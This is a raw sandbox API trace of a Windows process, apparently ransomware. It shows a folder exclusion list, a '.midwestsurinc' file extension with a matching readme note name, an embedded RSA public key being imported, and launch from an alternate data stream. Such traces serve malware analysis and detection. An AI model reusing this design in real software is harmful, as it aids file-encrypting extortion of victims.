MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c168, cbMultiByte=8, lpWideCharStr=0x58dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dc78 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dbf0) returned 1 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d228 [0248.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dbf0 [0248.891] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dc78) returned 1 [0248.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dc78 [0248.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c120, cbMultiByte=6, lpWideCharStr=0x58dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dd00 [0248.892] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dc78) returned 1 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d218 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dc78 [0248.892] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dd00) returned 1 [0248.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dd00 [0248.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c240, cbMultiByte=11, lpWideCharStr=0x58dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dd88 [0248.892] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dd00) returned 1 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20) returned 0x58dd00 [0248.892] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d208 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58de28 [0248.892] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dd88) returned 1 [0248.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58deb0 [0248.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c0d8, cbMultiByte=7, lpWideCharStr=0x58deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58df38 [0248.892] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58deb0) returned 1 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d1e8 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58deb0 [0248.892] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58df38) returned 1 [0248.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58df38 [0248.892] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c288, cbMultiByte=11, lpWideCharStr=0x58df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58dfc0 [0248.892] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58df38) returned 1 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d1f8 [0248.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58df38 [0248.892] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58dfc0) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2c8) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1b0) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2d8) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c168) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d298) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d288) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c240) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d278) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bc08) returned 1 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1dd2850 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1dd2850 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.893] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c240 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d278 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d288 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d618 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d298 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c168 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2d8 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1b0 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2c8 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2e8 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5e8 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c240) returned 1 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d278) returned 1 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d288) returned 1 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.894] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d288 [0248.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c288 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d278 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d268 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c240 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d258 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c168) returned 1 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d298) returned 1 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1b0) returned 1 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2d8) returned 1 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c1f8) returned 1 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2c8) returned 1 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c5e8) returned 1 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d2e8) returned 1 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d618) returned 1 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d618 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2e8 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c5e8 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2c8 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1f8 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d2d8 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c1b0 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d298 [0248.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c168 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.895] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d288) returned 1 [0248.896] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.896] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d278) returned 1 [0248.896] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c240) returned 1 [0248.896] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0248.896] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.896] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0248.896] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.896] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x1dd2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0248.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0248.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd2850, cbMultiByte=14, lpWideCharStr=0x58dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0248.896] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x1dd2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0248.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0248.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd2850, cbMultiByte=10, lpWideCharStr=0x58e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0248.896] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x1dd2850, nSize=0x2800 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0248.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd2850, cbMultiByte=36, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0248.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd2850, cbMultiByte=36, lpWideCharStr=0x58e0d0, cchWideChar=36 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 36 [0248.897] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x1dd2850, nSize=0x2800 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0248.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd2850, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0248.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd2850, cbMultiByte=45, lpWideCharStr=0x58e158, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 45 [0248.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0248.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd5058, cbMultiByte=14, lpWideCharStr=0x58e1e0, cchWideChar=14 | out: lpWideCharStr=".midwestsurinc") returned 14 [0248.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd5058, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0248.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1dd5058, cbMultiByte=21, lpWideCharStr=0x58e268, cchWideChar=21 | out: lpWideCharStr=".midwestsurinc_readme") returned 21 [0248.897] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0248.897] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0248.897] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x1dd7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x1dd7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0248.897] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x1dd7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0248.901] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd7f40 [0248.901] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x1dd7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x1dd7f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x1dd7f40, pcbStructInfo=0x18fd24) returned 1 [0248.902] CryptImportPublicKeyInfo (in: hCryptProv=0x5d2310, dwCertEncodingType=0x10001, pInfo=0x1dd7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x1dd7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x1dd7f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x5d6560) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd7f40) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd7cf8) returned 1 [0248.903] ReleaseMutex (hMutex=0xc4) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd5058) returned 1 [0248.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1dd5058 [0248.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c900 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c900) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd5058) returned 1 [0248.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x2800) returned 0x1dd5058 [0248.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c900 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c900) returned 1 [0248.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c900 [0248.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0248.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e1e0 [0248.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x58c900, cbMultiByte=9, lpWideCharStr=0x58e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0248.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e268 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e1e0) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e268) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c900) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd5058) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd2850) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d258) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c240) returned 1 [0248.903] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d268) returned 1 [0248.904] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.904] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d278) returned 1 [0248.904] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c288) returned 1 [0248.904] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d288) returned 1 [0248.904] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d5e8) returned 1 [0248.904] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0248.904] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 0 [0248.907] GetLastError () returned 0x427 [0248.907] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE" [0248.907] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE", pNumArgs=0x18fddc | out: pNumArgs=0x18fddc) returned 0x5d6858*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" [0248.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d5e8 [0248.907] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d288 